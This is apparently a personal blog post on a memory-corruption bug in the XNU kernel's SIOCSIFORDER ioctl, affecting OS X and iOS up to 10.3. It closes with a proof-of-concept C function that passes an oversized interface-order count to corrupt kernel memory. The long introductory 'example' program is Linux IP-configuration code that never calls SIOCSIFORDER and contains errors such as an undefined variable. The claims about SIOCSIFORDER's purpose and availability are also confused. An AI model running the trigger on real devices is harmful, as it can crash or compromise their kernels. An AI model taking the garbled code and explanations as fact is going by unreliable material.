SIOCSIFORDER count memory corruption bug

This post is about a bug I found in the xnu kernel affecting the SIOCSIFORDER call. The bug affected both OS X and iOS. In iOS it affects iOS 10.3 and below so obviously it has been fixed in the lastest version of iOS.
The bug id referencing the bug was 663014551, however upon reporting I was told it was a duplicate so i guess it was a rediscovery 😒 .

Anyways , since it was my first bug report to apple I thought it was worth a blog post.

Lets begin 😃 .

So what’s SIOCSIFORDER?

SIOCSIFORDER is often used in networking and is quite helpful/useful when creating an ip address. It has been implemented in many unix systems from the linux kernel to the XNU kernel.
Below is an example of how to implement SIOCSIFORDER in c and the best example would be its implementation in creating a socket.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <sys/ioctl.h>
#include <linux/sockios.h>
#include <errno.h>
#include <netinet/in.h>
#include <net/route.h>
#if defined(__GLIBC__) && __GLIBC__ >=2 && __GLIBC_MINOR__ >= 1
#include <netpacket/packet.h>
#include <net/ethernet.h>
#else
#include <sys/types.h>
#include <netinet/if_ether.h>
#endif
/**
* Create socket function
*/
int create_socket() {
int sockfd = 0;
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if(sockfd == -1){
fprintf(stderr, "Could not get socket.\n");
return -1;
}
return sockfd;
}
/**
* Generic ioctrlcall to reduce code size
*/
int generic_ioctrlcall(int sockfd, u_long *flags, struct ifreq *ifr) {
if (ioctl(sockfd, (long unsigned int)flags, &ifr) < 0) {
fprintf(stderr, "ioctl: %s\n", (char *)flags);
return -1;
}
return 1;
}
/**
* Set route with metric 100
*/
int set_route(int sockfd, char *gateway_addr, struct sockaddr_in *addr) {
struct rtentry route;
int err = 0;
memset(&route, 0, sizeof(route));
addr = (struct sockaddr_in*) &route.rt_gateway;
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr(gateway_addr);
addr = (struct sockaddr_in*) &route.rt_dst;
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr("0.0.0.0");
addr = (struct sockaddr_in*) &route.rt_genmask;
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr("0.0.0.0");
route.rt_flags = RTF_UP | RTF_GATEWAY;
route.rt_metric = 100;
if ((err = ioctl(sockfd, SIOCADDRT, &route)) < 0) {
fprintf(stderr, "ioctl: %s\n", (char *)flags);
return -1;
}
return 1;
}
/**
* Set ip function
*/
int set_ip(char *iface_name, char *ip_addr, char *gateway_addr)
{
if(!iface_name)
return -1;
struct ifreq ifr;
struct sockaddr_in sin;
int sockfd = create_socket();
sin.sin_family = AF_INET;
// Convert IP from numbers and dots to binary notation
inet_aton(ip_addr,&sin.sin_addr.s_addr);
/* get interface name */
strncpy(ifr.ifr_name, iface_name, IFNAMSIZ);
/* Read interface flags */
generic_ioctrlcall(sockfd, (u_long *)"SIOCGIFFLAGS", &ifr);
/*
* Expected in <net/if.h> according to
* "UNIX Network Programming".
*/
#ifdef ifr_flags
# define IRFFLAGS ifr_flags
#else /* Present on kFreeBSD */
# define IRFFLAGS ifr_flagshigh
#endif
// If interface is down, bring it up
if (ifr.IRFFLAGS | ~(IFF_UP)) {
ifr.IRFFLAGS |= IFF_UP;
generic_ioctrlcall(sockfd, (u_long *)"SIOCSIFFLAGS", &ifr);
}
// Set route
set_route(sockfd, gateway_addr, &sin);
memcpy(&ifr.ifr_addr, &sin, sizeof(struct sockaddr));
// Set interface address
if (ioctl(sockfd, SIOCSIFADDR, &ifr) < 0) {
fprintf(stderr, "Cannot set IP address. ");
perror(ifr.ifr_name);
return -1;
}
#undef IRFFLAGS
return 0;
}
void usage()
{
const char *usage = {
"./set_ip [interface] [ip address] [gateway address]\n"
};
fprintf(stderr,"%s",usage);
}
int main(int argc, char **argv)
{
if(argc < 3){
usage();
return -1;
}else {
set_ip(argv[1],argv[2], argv[3]);
return 0;
}
}

Bug discovery

Earlier this year, Ian Beer reported a bunch of vulnerabilities to apple that affeted the IOKit among them were SIOCSIFORDER related bugs.
Around the same time I was looking for bugs in the same area. I happened to come across a specific code section in the XNU Kernel that caught my attention.

Below is the XNU code section for SIOCSIFORDER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
case SIOCSIFORDER: {
struct if_order *ifo = (struct if_order *)(void *)data;
if ((int)ifo->ifo_count > if_index) {
error = EINVAL;
break;
}
size_t length = (ifo->ifo_count * sizeof(u_int32_t));
if (length > 0) {
if (ifo->ifo_ordered_indices == USER_ADDR_NULL) {
error = EINVAL;
break;
}
ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
if (ordered_indices == NULL) {
error = ENOMEM;
break;
}
error = copyin(ifo->ifo_ordered_indices,
ordered_indices, length);
if (error != 0) {
break;
}
}
error = ifnet_reset_order(ordered_indices, ifo->ifo_count);
break;
}

Looking at this piece of code i asked myself what could I control from the structure. It was pretty clear that I could control ifo_count.

1
2
3
4
5
struct if_order {
u_int32_t ifo_count; <----This I can control
u_int32_t ifo_reserved;
mach_vm_address_t ifo_ordered_indices;
};

The next question was are there any boundary and type casting checks that are related with the specific element u_int32_t ifo_count

The logical flaw

if ((int)ifo->ifo_count > if_index) is captured as an int, whilst its of type u_int32_t
hence this check is not sufficient

1
2
3
4
if ((int)ifo->ifo_count > if_index) {
error = EINVAL;
break;
}

Take a look at the piece of code below, can you spot the problem ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (length > 0) {
if (ifo->ifo_ordered_indices == USER_ADDR_NULL) {
error = EINVAL;
break;
}
ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
if (ordered_indices == NULL) {
error = ENOMEM;
break;
}
error = copyin(ifo->ifo_ordered_indices,
ordered_indices, length);
if (error != 0) {
break;
}
}

The trigger

Taking a look at ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);

It’s quite evident that doing a memory alloaction with an undersired length would lead to a memory corruption which if well implemented could lead to a kernel leak.

Code Sample with trigger

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# include <CoreFoundation/CoreFoundation.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
struct if_order {
u_int32_t ifo_count;
u_int32_t ifo_reserved;
mach_vm_address_t ifo_ordered_indices; /* array of u_int32_t */
};
#define SIOCSIFORDER _IOWR('i', 178, struct if_order)
void exploit(){
uint32_t data[] = {0x70001234};
struct if_order ifo;
ifo.ifo_count = 1000000000000000; // Cause corruption
ifo.ifo_reserved = 0;
ifo.ifo_ordered_indices = (mach_vm_address_t)data;
int evil_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
int result = ioctl(evil_socket,SIOCSIFORDER,&ifo);
assert(result==KERN_SUCCESS);
}
`